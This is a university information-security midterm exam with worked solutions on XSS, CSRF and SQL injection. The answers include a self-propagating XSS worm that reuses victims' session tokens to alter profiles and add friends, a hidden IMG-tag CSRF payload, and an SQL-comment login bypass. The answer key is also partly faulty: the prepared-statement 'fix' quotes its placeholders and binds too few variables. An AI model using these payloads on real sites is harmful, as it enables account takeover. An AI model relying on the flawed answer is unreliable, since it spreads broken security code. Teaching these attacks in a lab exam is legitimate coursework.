CS3002 Information Security

Tuesday November 23, 2020

Course Instructor

Dr. Irfan ul Haq, Dr. Danish Shehzad and Dr. Umar Aftab

Serial No:

2nd Mid Term

Open Book-Exam

Total Time:1 Hour

Total Marks: 45

_____

Signature of Invigilator

Roll No	Section	Signature
_____	_____	_____

DO NOT OPEN THE QUESTION BOOK OR START UNTIL INSTRUCTED.

Instructions:

1. Verify at the start of the exam that you have a total of four (4) questions printed on Nine (09) pages including this title page.
2. Attempt all questions on the question-book and in the given order.
3. The exam is **closed book** and **close notes** and no electronic device (laptop, mobile devices) is allowed. The use of such devices will be considered as cheating
4. Read the questions carefully for clarity of context and understanding of meaning and make assumptions wherever required, for neither the invigilator will address your queries, nor the teacher/examiner will come to the examination hall for any assistance.
5. Fit in all your answers in the provided space. You may use extra space on the last page if required. If you do so, clearly mark question/part number on that page to avoid confusion.
6. Use only your own stationery and calculator if required. If you do not have your own calculator, use manual calculations.
7. Use only permanent ink-pens. Only the questions attempted with permanent ink-pens will be considered. Any part of paper done in lead pencil cannot be claimed for checking/rechecking.

	Q-1	Q-2	Q-3	Q-4	Total
Total Marks	15	10	10	10	**45**
Marks Obtained					

Vetted By: _____ Vetter Signature: _____

University Answer Sheet Required: No ☐ Yes ☐

Question 1	15 Marks

Answer an MCQ by encircling exactly one option.

1	A	B	C	**D**
2	A	B	**C**	D
3	A	B	**C**	D
4	A	B	C	**D**
5	**A**	B	C	D
6	**A**	B	C	D
7	A	**B**	C	D
8	A	**B**	C	D
9	**A**	B	C	D
10	**A**	B	C	D
11	A	B	C	**D**
12	**A**	B	C	D
13	A	B	C	**D**
14	A	B	C	**D**
15	**A**	B	C	D

1. What damages can XSS cause?
   A. Web Defacing
   B. Spoofing Requests
   C. Attack Server
   D. All the Above

2. In XSS attack, when attacker's malicious code is inside the webpage, then code can easily access the global variable(s) of _____.
   A. Token
   B. Timestamp
   C. Both A & B
   D. None of the Above

3. A non-empty computer program which takes no input and produces a copy of its own source code as its only output called _____.
   A. DOM
   B. Code Injection
   C. Quine
   D. CSP

4. In XSS attack, there are various ways for attackers to inject their code into a victim 's browser via the target website.
   A. Persistent Attack
   B. Non-Persistent Attack
   C. Reflected Attack
   D. All the Above

5. In XSS, to get rid of the code mixed in user inputs, we can either write a _____ to remove code or find a way to convert code to data.
   A. Filter
   B. Referral Header
   C. Secret Token
   D. Same Site Cookie

6. A server randomizes the security token for each new request to the same page?
   A. True
   B. False

7. The following URL enables which type of attack? https://insecure-website.com/status message=All+is+well
   A. CSRF
   B. XSS
   C. SQLInjection
   D. None

8. Can we perform a CSRF attack even if the victim's session with the target website is closed?
   A. True
   B. False

9. The given code snippet performs a HTTP POST request.

```
POST /email/change HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
email=wiener@normal-user.com
```

   Is it vulnerable to CSRF attack?

   A. **True**
   B. False

10. Other than privacy, what could be the issue with the use of REFERER field in the HTTP request header?
    A. It can mis-classify legitimate request.
    B. It can expose user login information
    C. It can crash the server.
    D. None of the above.

11. Which of the following is the type of SQL Injection attack?
    A. It inserts the data
    B. It updates the data
    C. It deletes the data
    D. All of the above

12. What is the common cause of buffer over-flows, cross-site scripting, SQL injection and format string attacks?
    A. Unvalidated input
    B. Lack of authentication
    C. Improper error handing
    D. Insecure configuration management

13. Which of the following are most vulnerable to injection attacks?
    A. Session IDs
    B. Registry keys
    C. Network communications
    D. SQL queries based on user input

14. Imagine a social networking web app (like Twitter) that allows users to post short blurbs of text. Which type of exploit might be carried out by posting text that contains malicious code?

    A. Cross-site scripting
    B. SQL injection
    C. Packet sniffing
    D. a and b

15. How do you prevent SQL injection?
    A. Escape queries
    B. Interrupt requests
    C. Merge tables
    D. All of the above

Question 2	10 Marks

XSS

```
<script type="text/javascript" id="worm">
window.onload = function(){
    var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</" + "script>";

    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

   var desc = "&description=Correct this code" + wormCode;
   desc += "&accesslevel[description]=2";

   var name = "&name=" + elgg.session.user.name;
   var guid = "&guid=" + elgg.session.user.guid;
   var ts = "&__elgg_ts="+elgg.security.token.__elgg_ts;
   var token = "&__elgg_token="+elgg.security.token.__elgg_token;

   var sendurl="http://www.seed-server.com/action/profile/edit";
   var content = token + ts + name + desc + guid;

  if (elgg.session.user.guid = 59){
      var Ajax=null;
      Ajax = new XMLHttpRequest();
      Ajax.open("POST", sendurl, true);
      Ajax.setRequestHeader("Content-Type",
                                        "application/x-www-form-urlencoded");
     Ajax.send(content);
        }
             }
</script>
```

A. This code is performing XSS attack along with self-propagation worm. Find out the flaw in this code and correct it. (Justify your answer in maximum two lines) [5 Marks]

Solution:

Flaw: if (elgg.session.user.**guid = 59**)

Correction: if (elgg.session.user.guid != 59)

First of all, the code is just assigning the value not comparing the value. Further the condition should be '!=59' . In this way, the code will affect all users except the attacker as its attacker's own id. If the code will run with '=59' or '= =59' then it will assign value or effect only attacker respectively.

B. Perform the same attack from this self-propagating code but your modified code should perform the 'Add friend attack' instead of profile modification. For example, if anyone will visit attacker's (Samy) profile then the attacker (Samy) will be added into the visitor's friend list. Moreover, if someone else will visit the victim's profile then Samy will also be added to this new visitor. So, you have to perform the same attack for adding the Samy in various users' profile, upon visiting the attacker's (Samy) profile or Victim's profile.
[5 Marks]

Note: You only have to provide the modified code or modified portion for Add Friend worm.

Solution:

```
< script type = "text/javascript" id = "worm" >
   window.onload = function() {
      var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
      var jsCode = document.getElementById("worm").innerHTML;
      var tailTag = "</" + "script>";

      var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);

      var desc = "&description=Samy is my hero" + wormCode;
      desc += "&accesslevel[description]=2";

      var name = "&name=" + elgg.session.user.name;
      var guid = "&guid=" + elgg.session.user.guid;
      var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
      var token = "&__elgg_token=" + elgg.security.token.__elgg_token;

      var sendurl = "http://www.seed-server.com/action/profile/edit";
      var content = token + ts + name + desc + guid;

      var sendurl1 = "http://www.seed-server.com/action/friends/add" + "?friend=59" +
token + ts;
      if (elgg.session.user.guid != 59) {

         Ajax = new XMLHttpRequest();
         Ajax.open("GET", sendurl1, true);
         Ajax.send();
         var Ajax = null;
         Ajax = new XMLHttpRequest();
         Ajax.open("POST", sendurl, true);
         Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
         Ajax.send(content);
      }
   }
</script >
```

Question 3	10 Marks

CSRF

FAST has created a programming platform called **FASTProgrammingPlatform.com**, and a social network calle**d FASTBook.com.** FASTProgrammingPlatform.com is vulnerable to Cross-site scripting (XSS) attack, but it has countermeasures against CSRF. On the other hand, FASTBook.com is vulnerable to CSRF, but it has countermeasures against XSS.

Any student can design a programming question and share it on FASTProgrammingPlatform.com. Other students can view the question, solve it, and compare their solution with the given solution. Similarly, students can use FASTBook.com to add other students or alumni as their friend or mentors.

Sam and Bob has accounts on both the platform. Sam has a friend name Alice. Bob wants to attack Sam's profile so that he can remove Alice from his friend list. As a starting, Bob sends a forged friend removal link to Sam. However, Sam is efficient in identifying social engineering attacks.

Bob is a good programmer and famous for his programming abilities. He regularly design questions and share it on the FASTProgrammingPlatform. Sam is a big fan of Bob for his programming abilities, and usually visit his page on FASTProgrammingPlatform to practice his skills. Somehow, Bob comes to knew this fact.

FASTBook.com sends an HTTP GET request for friend removal with ID as parameter. For example, http://FASTBook.com/remove.php?id=20, will remove user with ID 20 from the current user's account. Sam has a profile ID of 21, Alice has 22, and Bob has 23.

You task is to design an attack that Bob can use to attack Sam's profile without performing social engineering attack. You must provide your answer in the given space.

Solution

=======

FASTBook.com is vulnerable to CSRF attack. To remove Alice from SAM's friend list, Bob needs to generate a friend removal request with the id parameter set to 22. Bob can generate friend removal HTTP GET request with the following:
http://FASTBook.com/remove.php?id=22

To carry out CSRF, Bob needs to execute HTTP GET request in SAMs browser. A simple solution could be to send the above link to SAM and expect that he will open the link when his session is in progress. However, we know, SAM is good in identifying malicious links. Thus, this solution would fail.

Another solution could be to setup an attack website and lure SAM to visit the website. Upon visit, a HTTP GET request will be generated. Again, this would fail as SAM is good in identifying malicious links.

We know FASTProgrammingPlatform.com is vulnerable to XSS and SAM is a regular visitor of Bob's programming questions. This could be an opportunity for Bob to exploit XSS to perform a CSRF against SAM's profile on FASTBook.com. The idea is, Bob will create a

new programming question and will hide an HTML IMG tag inside the question. Due to XSS, FASTProgrammingPlatform.com will execute the hidden HTML code to generate a HTML GET request. When SAM will visit Bob's page for new programming question, the browser will generate an HTTP GET request from IMG tag and thus, will result in a CSRF attack.

<img src=http://FASTBook.com/remove.php?id=22, height=1, width=1>

Also, a HTML GET request can be generated with Javascript.

Question 4	10 Marks

A. Modify the following program using the prepared statement. [2.5]

```
$sql = "UPDATE employee SET password='$newpwd' WHERE eid ='$eid' and password='$oldpwd'";
```

Answer:
```
$sql = ""UPDATE employee SET password='?'
WHERE eid ='?' and password='?' "";
if ($stmt = $conn->prepare($sql)) {
   $stmt->bind_param(""ss"", $eid, $pwd);
  $stmt->execute();
                    }
```

B. SQL Injection allows remote users to execute code on databases. In a typical setup, the database is only accessible to the web application server, not to remote users, so there is no direct path for users to interact with the database. How can users inject code to the database? [2.5]

Answer: The SQL injection attack merely modifies the query string that is being passed on from the client (browser) to the web server, the actual query is run on the web server, and will therefore be executed even if access is restricted.

C. What if the SQL statement is constructed in the following way (with a line break in the WHERE clause), can you launch an effective SQL injection attack? [2.5 Marks]

```
SELECT * FROM employee
WHERE eid= '$eid' AND password='$password';
```

Answer: Yes. Most SQL databases support multi-line comments enclosed in / /. By setting the $eid to 'OR 1=1/* and the $password to */#. We can make the SQL query by following:

```
SELECT * FROM employee
WHERE eid='' OR 1=1/*' AND password='*/#'
```

Filtering out the comments gives us

```
SELECT * FROM employee
WHERE eid='' OR 1=1
```

which will allow an attacker to login successfully.

D. How do we prevent SQL Injection in our applications? Name three countermeasures. Explain which countermeasure in your opinion is a best choice against SQL Injection. [2.5 Marks]

Answer: We can prevent from SQL inject by following three methods:

- Turning code into data
- Separate code and data
- Prepared Statements

The Prepared statements is best choice against SQL injection because user data and SQL command passed through different channel and prepared statements only compile once.

The End 😊